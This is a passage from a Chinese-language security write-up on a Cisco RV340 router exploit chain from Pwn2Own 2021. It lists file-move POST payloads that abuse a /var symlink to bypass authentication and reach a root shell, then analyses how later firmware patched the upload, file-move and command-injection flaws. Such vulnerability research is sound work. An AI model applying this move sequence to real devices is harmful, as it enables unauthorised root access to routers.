目录下去移动文件即可实现将文件移动至/tmp
目录中。
/tmp # ls -al / | grep var
lrwxrwxrwx 1 root root 4 Oct 22 2021 var -> /tmp
这个过程也要利用一些空的文件夹(3g-4g-driver out_certs certs firmware pnp_config
)的移动来实现,具体的操作流程如下所示。第一行是post
数据包放的内容,第二行是实现的效果。
# /tmp/websession websession_bak
mv /tmp/websession /tmp/www/websession_bak
# /tmp/3g-4g-driver websession
mv /tmp/3g-4g-driver /tmp/www/websession
# /tmp/upload/0000000016 session
mv /tmp/upload/0000000016 /tmp/www/session
# /tmp/firmware token
mv /tmp/firmware /tmp/www/token
# /tmp/upload/0000000017 dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8
mv /tmp/upload/0000000017 /tmp/www/dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8
# /tmp/www/dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8 token
mv /tmp/www/dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8 /tmp/www/token
# /tmp/www/token websession
mv /tmp/www/token /tmp/www/websession
# /tmp/www/session websession
mv /tmp/www/session /tmp/www/websession
# /var tmp
mv /var /tmp/www/tmp
# /tmp/www/websession tmp
mv /tmp/www/websession /tmp/www/tmp
经过上面的两步一后,即可用认证后的代码执行漏洞拿到root shell
。
去官网下载新的固件,binwalk
解压查看内容,对三个漏洞逐个查看。
任意文件上传漏洞似乎没有修复,cisco
可能认为它是nginx
的一个正常功能。
location /api/operations/ciscosb-file:form-file-upload {
set $deny 1;
if ($http_authorization != "") {
set $deny "0";
}
if ($deny = "1") {
return 403;
}
upload_pass /form-file-upload;
upload_store /tmp/upload;
upload_store_access user:rw group:rw all:rw;
upload_set_form_field $upload_field_name.name "$upload_file_name";
upload_set_form_field $upload_field_name.content_type "$upload_content_type";
upload_set_form_field $upload_field_name.path "$upload_tmp_path";
upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
upload_pass_form_field "^.*$";
upload_cleanup 400 404 499 500-505;
upload_resumable on;
}
任意文件移动漏洞的修复没有限制/form-file-upload
的访问,而是在upload.cgi
进行了修补。可以看到它在调用prepare_file
之前会校验源目的地地址,从而修复了任意文件移动漏洞。
jsonutil_get_string(dword_2348C, &file_path, "\"file.path\"", -1);
...
if ( !file_path || match_regex("^/tmp/upload/[0-9]{10}$", file_path) )
{
puts("Content-type: text/html\n");
printf("Error Input");
goto LABEL_31;
}
最后再来看看命令执行漏洞,update-clients
脚本内容未发生变化,但是yang
接口定义却有变化。可以看到它限制了hostname
的类型,同时将os
等参数去掉了,导致无法形成注入。
rpc update-clients {
input {
list clients {
key mac;
leaf mac {
type yang:mac-address;
mandatory true;
}
leaf hostname {
type inet:domain-name;
}
uses ciscosb-security-common:DEVICE-OS-TYPE;
}
}
}
配置文件的缺陷看起来微不足道,经过精心构造却能导致严重的漏洞。三个漏洞很巧妙,能够给人很多的启发。
[1]
Pwn2Own Austin 2021: https://www.thezdi.com/blog/2021/8/11/pwn2own-austin-2021-phones-printers-nas-and-more
[2]
IoT Inspector Research Lab: https://www.iot-inspector.com/about-us/
[3]
wp: https://www.iot-inspector.com/blog/advisory-cisco-rv340-dual-wan-gigabit-vpn-router-rce-over-lan/
[4]
1.0.03.24: https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.24
[5]
Nginx-upload-module中文文档: https://blog.osf.cn/2020/06/30/nginx-upload-module/
[6]
ConfD User Guide: https://manuals.plus/wp-content/sideloads/software-tail-f-confd-user-guide-original.pdf
[7]
multipart-parser-c: https://github.com/iafonov/multipart-parser-c
[8]
tail-f: https://www.tail-f.com/
[9]
ConfD User Guide: https://manuals.plus/wp-content/sideloads/software-tail-f-confd-user-guide-original.pdf
[10]
ConfD User Guide: https://manuals.plus/wp-content/sideloads/software-tail-f-confd-user-guide-original.pdf
[11]
官网: https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.26
[12]
Nginx-upload-module中文文档: https://blog.osf.cn/2020/06/30/nginx-upload-module/
[13]
nginx介绍和常用模块配置: https://www.liuvv.com/p/7245bfc7.html
[14]
ConfD User Guide: https://manuals.plus/wp-content/sideloads/software-tail-f-confd-user-guide-original.pdf
[15]
ConfD Basic学习手记: https://marvinsblog.net/post/2019-09-26-confd-basic/